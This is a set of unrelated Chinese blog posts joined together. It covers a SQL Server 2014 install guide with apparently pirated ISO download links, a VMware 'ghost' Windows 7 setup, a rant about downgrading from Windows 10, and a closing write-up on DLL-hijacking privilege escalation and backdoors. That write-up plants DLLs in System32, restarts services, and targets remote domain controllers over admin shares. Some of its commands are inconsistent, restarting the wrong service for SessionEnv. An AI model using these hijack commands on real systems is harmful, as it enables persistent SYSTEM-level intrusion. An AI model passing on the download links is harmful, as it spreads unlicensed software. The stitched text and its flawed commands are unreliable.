SQL Server 2014安装图解与问题分析
 
1 SQLServer2014简介
 
SQL Server2014 是Microsoft 公司推出的关系型数据库管理系统。它用于大规模联机事务处理（OLTP）、数据仓库和电子商务应用的数据库平台；也是用于数据集成、分析和报表解决方案的商业智能平台。
 
 
 
注：
 
 
1 SQL案例部分详见博客专栏链接 ：
 
 
                                    SQL基础操作_110个微案例  用户自定义存储过程实战
 
 
                                    Kettle应用实战与50个案例代码
 
 
2 其它数据库安装链接: Mysql 8(多实例)Windows解压配置安装      
 
 
                                     SQL Server 2017(2019) Linux安装手册 
 
 
                                     MySQL 8.0 CentOS 7安装手册 
 
 
3 Win10 安装时的"需要microsoft.net framework 3.5 service pack 1"错误见文末的问题分析。
 
 
4 如果仅是为了学习SQL建议安装mysql。
 
 
准备
 
2.1 环境说明
 
SQL Server 2014可以安装在一下window平台上(更多可参见官网介绍)：
 
1 Win7 64位
 
2 Win10 专业版，详见文末附图
 
3 Windows Server 2008 R2, Windows Server 2008 R2 SP1, Windows Server 2012, Windows Server 2012 R2
 
 
 安装
 
3.1下载软件
 
通过下载工具下载SQL Server 2014企业版,链接见下:
 
ed2k://|file|cn_sql_server_2014_enterprise_edition_x64_dvd_3932882.iso|2898847744|A33CE10CD989083D1AD882DF0D56CFBE|/
 
如果链接失效，可参见如下链接（或联系博主免费索取）：
 
 
 
链接：https://pan.baidu.com/s/1S16qceng24o8Ayc1v_WSEg 
提取码：2jjg
 
 
3.2 安装
 
1 将下载好的iso文件解压到指定目录下.,比如D:\temp下.然后点击setup开始安装.
 
 
2 点击左侧的安装选项,然后选择全新安装
 
 
3 输入产品密钥,然后点击下一步.
 
 
4 选中接受条款,然后点击下一步
 
 
5 进入安装规则,点击下一步.
 
 
6 进入设置角色项,选择要安装的SQL Server的类型.
 
 
7 选择SQL Server的功能,勾选相关服务后,根据需要更改安装目录.
 
 
8 功能规则
 
 
9 设置实例ID的名称,这里一般选择默认值.如果在一台机器里安装两个实例,则则需要新起个名字.
 
 
10 进入服务器配置选项,这里账户可以按照指定的用户,也可以按照默认值.
 
 
11 进入数据库引擎配置项,这里可以指定混合模式并设置SA密码,添加当前用户为SQL Server管理员.
 
 
12 选择SSAS服务配置,这里一般选择”多维和数据挖掘模式”,同时指定当前用户是SSAS服务的管理员.
 
 
13 SSRA服务配置,这里选择”安装和配置”
 
 
14 指定Distributed Replay的访问权限,这里选择的是当前用户.
 
 
15 指定控制器的名称并指定相关目录.
 
 
16 进入准备安装选项,点击安装.
 
 
17 耐心等待直至安装完成.出现下图界面时点击关闭,完成安装.
 
 
 
 
使用
 
4.1 SSMS功能验证
 
SSMS 是SQL Server 2014 Management Studio的缩写,是与DBE(数据库引擎).SSAS(多维数据库),数据报表引擎(SSRS),数据流引擎(SSIS)进行图形化交互的集成工具.如下章节主要是验证SSMS的使用.
 
 1 首先打开SSMS,在”开始”→”所有程序”找到” Microsoft SQL Server 2014”然后点击” SQL Server 2014 Management Studio”
 
 
2 点击要连接的数据库引擎,这里默认是本地数据库引擎,缩写成”.”,点击连接进入SSMS.
 
 
 
3 如下图所示新建使用当前连接生成一个查询窗口.
 
 
4 执行SQL语句,查看当前安装的SQL Server的版本信息.
 
 
 
问题分析
 
针对Win10 一般在功能规则环节会出现“需要microsoft.net framework 3.5 service pack 1”的错误，即SQL Server 2014依赖于.net framework 3.5 sp1。
 
 
解决方法
 
 
 
1）方法1 Windows系统更新
 Step1： 同时按住键盘上微标和字母r，调出window命令行。
 Step2：命令行里输入control 进入控制面板
 
 
Step3：找到程序和功能
 Step4：点击启用或关闭Windows功能
 
 
Step5：勾选".NET Framework 3.5(包括.NET2.0和3.0)"以及它的子项
 
 
Step6：等待系统更新完毕
 
 
Step7：重新启动SQL Server2014安装脚本
 
 
 
 
2） 方法2：到微软官方网站找到.net framework 3.5 service pack 1的安装包，自行安装。
 
 
延展阅读
 
1） 查看当前.net framework版本信息，可按如下操作（微标+r后输入cmd再输入如下命令查看）
 
reg query "HKLM\Software\Microsoft\NET Framework Setup\NDP" /s /v version | findstr /i version | sort /+26 /r
 
 
2） 其它安装错误可按照界面提示信息自行排查、修复。
 
3）Win10安装后附图：
 
 
4) 查看SQL Server版本号、内部版本号
 
-- 查看SQL Server产品、版本、内部版本号等信息
SELECT RIGHT(LEFT(@@VERSION,26),16) N'产品版本编号', 
 SERVERPROPERTY('ProductVersion') N'版本编号',
 SERVERPROPERTY('ProductLevel') N'版本层级',
 SERVERPROPERTY('Edition') N'版本',
 DATABASEPROPERTYEX('master','Version') N'内部版本号码',
 @@VERSION N'版本编号、处理器架构、日期和操作系统等'
 
 
各版本与内部版本号对应关系汇总 表见下：
 

目录
 
一、准备虚拟机
 
二、win7 ghost ISO镜像文件下载
 
三、VMware新建虚拟机
 
四、VMware安装win7
 
五、解决vmware虚拟机屏幕没有适应窗口全屏问题
 


一、准备虚拟机
 
自己先安装好 VMware 15 虚拟机
 


二、win7 ghost ISO镜像文件下载
 
百度网盘下载地址：点击前往下载 
 提取码：1kvc 
 


三、VMware新建虚拟机
 
（1）打开VMware，建立一个新的虚拟机：
 
 

（2） 选择典型安装：
 
 

（3）选择稍后安装操作系统（S）：
 
 

（4）因为安装的是Windows7，故选择下面的信息：
 
 

（5）根据自己的情况选择磁盘以及文件夹来存放虚拟系统：
 
 

（6）设置硬盘大小，一般按照默认设置来，也可以加大一点，看个人的需求，下面的选择第二个，方便我们等会分区，然后点击下一步：
 
 

（7）在此界面上，点击自定义硬件：
 
 

（8）在左边点击CD/DVD,然后 勾选启动时链接，选择使用ISO映像文件，点击“浏览”，将我们下载好的ios镜像文件添加到这里面来。点击下面的”高级“，选择第三个”IDE“点击确定。然后关闭硬件设置：
 
 

（9）回到以下页面，点击完成：
 
 


四、VMware安装win7
 
（1）下面操作为进入BIOS系统设置启动顺序，因为该虚拟磁盘是新建的，虚拟磁盘中不存在系统，所以默认启动也是CD-ROM中的ISO映像文件，故可以忽略本次操作直接打开虚拟机：
 
 
 
 
 
 

（2）退出BIOS后页面（或直接打开虚拟机），然后会进入下面的界面，选择3，进入PQ分区工具设置虚拟磁盘：
 
 

（3）选择PQ分区工具之后，进入魔法分区界面：
 
 

（4）出现的对话框中，会显示当前的磁盘分区信息，我这个是个空白磁盘，直接点击作业-->建立：
 
 

（5）按照下图所示选择后，点击确认：
 
 

（6）下图直接点击执行，完成后点击结束：
 
 
 
 

（7）然后就出现此界面，直接输入'R' 回车：
 
 

（8）返回ghost界面，选择A,安装ghost win7 到 c 盘，然后会进入下面Windows安装界面，等待安装完成：
 
 
 

（9）安装完成后，出现下面界面：
 
 
（10）关机退出：
 
 

（11）再次直接打开win7虚拟机，直接进入ghost界面，此时需要输入“3”，再次进入PQ分区工具进行下面的设置：
 
1.在磁盘状态设置为作用
2.然后点击执行
3.完成后点击结束
4.在DOS界面输入“R”回车
 
 
 
 
 
 
 

（12）返回ghost界面，选择A,安装ghost win7 到 c 盘，然后会进入下面Windows安装界面，等待安装完成：
 
 
 

（13）返回ghost界面，选择H,硬盘启动计算机：
 
 

（14）安装成功后，以后开机，都是先进入ghost界面，键盘点击【H】,硬盘启动计算机，以此法进入win7：
 
 
 
 


五、解决vmware虚拟机屏幕没有适应窗口全屏问题
 
（1）安装完成，发现vmware虚拟机屏幕没有适应窗口全屏：
 
 
（2）点击查看我的另一博文：
 
【VMware】解决虚拟机系统屏幕没有适应vmware窗口全屏问题
 
 

 
 
 
自带win10系统换win7的那些坑
 
这两天真是经历了一个换系统的巨坑。如果说这次换系统是一部历史的话那也一定是一部血泪史。今日4000多字的记录会把这部血泪史中的血和泪一一道出。不为别的只为：前车之鉴后事之师！
 
更多内容请关注微信公众号;unity风雨路
 
     首先我对win10系统本身就很不喜欢，因为它不稳定兼容性差，还经常更新，用户总是给微软当小白鼠进行测试系统。之前就一直吐槽win10的自动更新无法被停止的问题，只能通过禁止了update的服务这种不人性化的方法强制停止，还有就是windows defender根本就无法关闭，服务里的停止按钮永远都是灰色。最近因为系统更新导致HTC vive设备无法显示，所以我决心要换成经历了几代人测试过的win7系统。
 
然而我还不知道从那刻起我已经踏进了一个大坑中……在这个坑中有无数的小坑在等待着我……电脑屏幕上寒光闪闪似乎预示着这次我踏上的换系统的征程与以往会有很大不同……那似乎是一种不详的征兆；散热器呜呜的声响似乎是吞吐着一句谶语：此路艰辛……
 
          路漫漫其修远兮，吾正在求索：因为不喜欢win10所以也没有研究过怎么换成win7系统，所以在网上查到一个简单的方法，方法如下：
 
 
 
win10直接重装win7系统步骤如下
1、由于预装win10的新电脑都是64位系统，所以我们下载x64版本的win7系统，下载到非C盘，比如下载到D盘，可以右键解压出来，也可以直接右键点击ISO文件选择“装载”；
 
 
2、ISO文件装载后自动打开这个界面，复制所有文件；
 
 
3、放到D盘根目录，如果D盘文件很多，大家可以先建立一个文件夹，命名为“win7”，将文件粘贴到win7文件夹中；
 
 
 
4、点击开始按钮，打开开始菜单，点击“设置”齿轮图标；
 
 
 
5、打开系统设置，找到并点击“更新和安全”；
 
 
 
6、点击左侧列表中的“恢复”选项，在右侧点击高级启动下的“立即重启”；
 
 
 
7、这时候电脑重启进入“选择一个选项”，依次点击“疑难解答”—“高级选项”；
 
 
 
8、在高级选项中点击“命令提示符”；
 
 
 
 
9、需要选择一个帐户才能继续操作，选择你当前的帐户，比如Administrator；
 
 
 
10、如果有密码输入密码，没有密码就空着，直接点击“继续”；
 
 
 
11、这时候进入命令提示符界面，如果win7文件放在根目录，输入命令D:\sources\setup.exe回车，如果放在win7文件夹，则输入命令D:\win7\sources\setup.exe回车；
 
 
 
 
 
 
 
然而截止到这个地方我的计算机运行命令后出现无效的命令。我仔细核对了命令和文件位置确定无误，然而就是提示找不到文件。我回到计算机内用DOS命令敲了一次，发现可以找到我的文件，回到这里用dos的方法反复测试多次还是不行。说明不是文件位置问题也不是命令输入文字错误，而是这个方法行不通。至少在我的这个系统上是行不通的。这便是我的电脑：
 
 
 
 
 
     既然简单的方法行不通那就再换个方法，使用曾经用过的硬盘装系统软件（nt6 hdd installer）去装。这款软件只需要一个win7镜像就可以直接在电脑运行的状态下装系统，之前用来装win7屡试不爽。结果到了win10无论是兼容模式还是管理员都不能运行。这也罢，反正10的垃圾之处很多差这一点，那就复杂一点用U盘装。
 
     早有耳闻win10换win7用U盘装也没那么容易，所以我事先查了一下BIOS 系统的设置。与win7换win7或者win7换其他不同的是win10要换到win7必须在BIOS 里做一些设置。而这些设置和win7或者winXP等装系统的都不一样。如下图：
 
 
 
当这些改完之后就和win7的系统互换的方法一样了。当然我用的U盘里的win7系统是我之前用过很多次绝对没有问题的系统U盘启动的。然而就在win7的安装系统启动后我发现鼠标键盘的等突然都不亮了，换言之USB 不起作用了。眼睁睁地看着win7的安装选择语言和输入法界面上的“下一步”按钮就是无法点击。呵呵哒！！！win7安装时不支持USB 3.0驱动是吧？可是我在2.0上接着鼠标键盘啊！那就进去Win PE试一试，还是不行，2.0和3.0分别插键盘鼠标，还不行。多试几次依旧不行！！！找公司的运维帮忙，说了这个情况以后，运维说用光盘装啊。现代的电脑哪里还有光驱啊！他也无奈，给了我一个无线鼠标键盘让我试试，虽然我觉得应该没什么卵用，因为不论是无线接收器还是有线鼠标连接都是连接在USB 端口的，而现在USB端口失灵了。然而我还是不放过一丝希望，试了试，结果如我所料。这个时候我觉得理论上不允许的东西在实践中真的不允许，这真是非常正确的。
 
     折腾了半天可问题依旧在，只能再想办法解决了。仔细想想刚才发现USB失灵了，但有可能只是2.0的端口出了问题，3.0还是可以用的，但是win7不支持。只要让win7在安装时支持3.0就可以了。查阅资料半天get到一个在win7系统安装引导里写入支持USB3.0 的方法。我抱着最后一丝希望，做出了一个支持USB3.0的win7系统，关机重启、安装，然并卵！！！
 
 
 
在此处我贴出注入3.0的方法：如下：
 
 
 
WindowsImageTool是技嘉开发的一款系统镜像制作工具，又称Windows USB Installation Tool，可以用来给原版win7镜像注入usb3.0驱动，解决一些新的主板在win7系统下无法使用usb的问题！
 
 
 
使用方法
 
　　将原版WIN7镜像加载到虚拟光驱（至于如何加载就不再赘述了）
 
 
 
　　检查自己的原版WIN7加载到哪个驱动器了（我这里是V盘，你们要根据你们自己的实际情况来）
 
 
 
　　右击主程序，选择以管理员身份运行。
 
 
 
　　打开软件之后，点开Source Path（CD-ROM）下面的选项。
 　　如果你是已经把原版Win7系统镜像刻录到U盘的就选择None-Add USB drivers；
 　　如果你没有刻录原版Win7到U盘的就选择刚才加载Win7的虚拟盘（我的是V盘，接下来我就以V盘继续进行演示）。
 
 
 
　　下面的Destination Path（USB Drive）就选择你的U盘
 　　（不管之前有没有刻录原版系统到U盘的，这里都选择U盘，U盘没有备份过数据的请备份U盘数据之后再操作）
 　　如果要安装的电脑是NVMe固态的，请勾上后两个注入NVMe驱动的选项。
 
 
 
　　一切选定之后，点击Start即开始制作。
 
 
 
 
　　正在制作。
 
 
 
 
　　已经半个多小时了，还在制作中。
 
 
 
 
　　历时一小时二十多分钟，终于制作完成。
 　　（当出现complete这个单词时，说明注入完成。注入的过程中很可能会卡在某个步骤上半天不动，这个时候一定要耐心，千万不要强行关闭软件或者拔出U盘，否则就会前功尽弃。）
 
 
 
 
　　点击Close即可关闭注入工具。
 
 
 
 
　　注入了USB3.0驱动的Win7原版系统安装盘制作成功，接下来就可以进行正常的安装流程了。
 
 
 
 
 
 
 
试了这么多方法耗了这么久只是为了换个系统，而且还不成功。就在这种似乎陷入绝望的时候我进去电脑的安全模式打开电脑，找到了优盘里的win7进行安装，竟然可以进入到需要选择某个盘作为系统盘的地步。然而就在这个时候，我发现竟然没有一个盘可以被选择后生效。原因也很简单就是这样的：
 
，
 
 
 
好吧GPT分区。。。看来win10和win7区别确实不小。当然网上会有格式的转化工具了。然而要给硬盘转格式就必须要格式化硬盘。格式化啊！！！我几百个g的东西往哪里去备份？算了吧！再找找方法。然后就发现了一个说法，新版自带win10的戴尔的主板是不支持win7的驱动。
 
敲黑板！！！主板不支持！！！当然只是戴尔无法更换，其他的品牌电脑（如联想某系列）有可以换成功的，不过据说换成win7之后也会经常出各种问题。
 
     我从来不相信微软为了推广win10会要断掉win7的活路。所有电脑清一色自带win10也就罢了还断了换成7的后路。。。虽然我的电脑是外星人但它并不是外星人生产的。于是乎我就发了一条朋友圈：
 
 
 
好吧，既然win10不能换win7了，那就换个win10吧，为什么要执着于换系统呢。因为同样是win10，我现在的系统是win10里最低级的版本，也就是家庭版。反正也是要装系统的倒不如换个高级点的版本。那么普及一个win10的版本，简单的说有目前有家庭版、专业版、企业版和教育版四个主流版本。这几个版本按我提到的顺序功能逐渐强大。企业版和教育版都比较厉害，比专业版就好像王者段位和黄金段位，家庭版就是个青铜。
 
此处贴出它们的区别：
 
 
 
 
     就在换系统之前我把这个家庭版的系统更新的内容卸载了很多，试图让它回到之前支持HTC vive的那个时候，然而多次测试均已失败告终。我就打算先把这个升级过后青铜级别的家庭版恢复到最初试一试。
 
 
 
果然它恢复到了最初的系统就可以完美的支持HTC vive了。看来果然是系统更新出了问题。可见win10的更新对软件的兼容性问题有多么严重。打算换个高级版本，从运维人员那里拿来一个做好的win10U盘启动器，一步步安装，果然鼠标键盘不失灵了，一切都OK，就如win7换win7 一样。然而就在我以为一切正常的时候，又出现了一个意外的情况：
 
 
 
 
我觉得我遇到了装系统中所有能遇到的问题。。。和之前在安全模式下安装win7遇到的情况比较类似，但是这一次是可以选中盘，也可以点击下一步按钮，只是点击之后会出现这个问题。。。在网上又找到了解决这个问题的方法，给出的两种解决方案均不能解决这个问题。具体方法如下（或许别的电脑可以使用）：
 
 
 
解决方法一：把磁盘分区转换成GPT分区
 
这通常是由于安装Windows10需要GPT分区，而你当前的硬盘是MBR分区，所以我们只需把磁盘分区转换成GPT格式即可解决问题。
 
参见：《用Windows10自带的DiskPart工具为硬盘进行GPT分区教程》
 
如果你不习惯命令行操作界面，那么也可以使用DiskGenius分区工具进行图形化界面操作。如图：
 
 
 
当然，你需要先制作一个启动U盘（推荐“老毛桃U盘启动盘制作工具”），然后运行其中的DiskGenius磁盘分区工具。选中需要转换分区格式为GPT分区的硬盘，点击“硬盘”菜单，选择“转换分区表类型为GUID格式”，按提示进行操作即可。
 
转换为GPT分区以后，继续分区格式化以后即可正常安装Win10系统，不会再出现“我们无法创建新的分区，也找不到现在的分区”的提示了。
 
解决方法二：把Win10安装文件复制到系统分区C盘
 
还有一个更简捷的解决方法，就是解压或用虚拟光驱装载Win10系统ISO镜像（Win8/Win10自带有虚拟光驱功能，可直接装载打开ISO镜像文件），然后把Win10安装目录下的boot、sources文件夹和bootmgr文件复制到准备安装Win10系统的分区中（通常是C盘）。如图：
 
 
 
 
然后重启电脑后，即可进入Win10安装界面，继续操作即可顺利安装Win10系统。
 
我先使用了第二种方法，毕竟这种方法不用下载东西，拷贝文件就可以了。然而并没有用！！！然后使用第一种方法，然而当我使用DiskGenius打开我的硬盘后发现如图：
 
 
 
 
我的计算机硬盘本来就是 GUID格式的，根本就不是这个问题。格式化后或许可以用，但格式化数据这个动静太大了我还是绕过吧。换言之我这个系统想要win10换个win10的高级版的系统也不行啊。
 
       无论怎么说使用了这么多的方法去更换系统都不能成功就足以说明微软或者是制造电脑硬件的厂商他们不愿意让你轻易改变他们的东西。推广win10是他们的目标，他们要让win10火那win10就会火，他们要让 Win XP系统退役那便只能退役。而生活在他们创造的帝国中的我们只能学会适应，因为我仍然记得八年级生物书第九页中写着：生物只有适应环境才能生存！

  
 
 
 

 
CATALOG
 
前言
操作过程
1.利用wlbsctrl.dll提权
2.利用TSMSISrv.dll和TSVIPSrv.dll提权
3.实现后门
  
查考文章

 
前言
 
今天看了一篇文章，发现文章中的利用方法只能在win7上使用，无法在win10上使用，特做记录。
 实现效果：
 
 
得到后门执行并得到system权限。
 
操作过程
 
1.利用wlbsctrl.dll提权
 
IKEEXT(IKE and AuthIP IPsec Keying Modules)服务在启动时会加载wlbsctrl.dll，但Windows系统默认配置下该dll不存在，如果我们将自己的dll放在这个位置，在服务启动时就能加载该dll.
 
先下载恶意dll到本地，然后将其挪到C:\Windows\System32\并命名为wlbsctrl.dll：
 参考命令如下：
 
copy calc_x64.dll C:\Windows\System32\wlbsctrl.dll
sc query IKEEXT
sc stop IKEEXT
sc start IKEEXT
 
远程执行：
 
copy calc_x64.dll \\TARGET\C$\Windows\System32\wlbsctrl.dll
sc \\TARGET query IKEEXT
sc \\TARGET stop IKEEXT
sc \\TARGET start IKEEXT
 
2.利用TSMSISrv.dll和TSVIPSrv.dll提权
 
 
 
SessionEnv(Remote Desktop Configuration)服务在启动时会加载C:\Windows\System32\TSMSISrv.dll和C:\Windows\System32\TSVIPSrv.dll，但Windows系统默认配置下这两个dll不存在，如果我们将自己的dll放在这个位置，在服务启动时就能加载该dll,启动SessionEnv服务方法为sc start IKEEXT。
 
 
利用命令：
 
copy calc_x64.dll C:\Windows\System32\TSMSISrv.dll
sc query IKEEXT
sc stop IKEEXT
sc start IKEEXT

或者

copy calc_x64.dll C:\Windows\System32\TSVIPSrv.dll
sc query IKEEXT
sc stop IKEEXT
sc start IKEEXT
远程执行的用法：

copy calc_x64.dll \\TARGET\C$\Windows\System32\TSMSISrv.dll
sc \\TARGET query IKEEXT
sc \\TARGET stop IKEEXT
sc \\TARGET start IKEEXT
或者

copy calc_x64.dll \\TARGET\C$\Windows\System32\TSVIPSrv.dll
sc \\TARGET query IKEEXT
sc \\TARGET stop IKEEXT
sc \\TARGET start IKEEXT
 
3.实现后门
 
如果系统开启了远程桌面的功能(支持远程连接到此计算机)，就会开启SessionEnv(Remote Desktop Configuration)服务，如果我们在C:\Windows\System32\下写入TSMSISrv.dll或TSVIPSrv.dll，就能在服务启动时加载该dll，实现代码执行。
 
 
 
应用场景：
 获得域控制器文件的远程访问权限，但无法远程执行命令.
 
 
1.如果域控制器未开启远程桌面的功能，在系统启动时劫持Explorer.exe对fxsst.dll的加载
 写入文件C:\Windows\fxsst.dll
 
2.如果域控制器开启了远程桌面的功能，在系统启动时将开启SessionEnv服务，加载TSMSISrv.dll或TSVIPSrv.dll
 写入文件C:\Windows\System32\TSMSISrv.dll或C:\Windows\System32\TSMSISrv.dll
 
3.如果域控制器开启了远程桌面的功能，在用户进行远程桌面连接时将会加载MF.dll
 实际测试：
 
测试环境： Server2012R2 x64
 
写入文件C:\Windows\System32\MF.dll，命令如下:
 
copy calc_x64.dll C:\Windows\System32\MF.dll
 
 
查考文章
 
《Lateral Movement — SCM and DLL Hijacking Primer》的利用扩展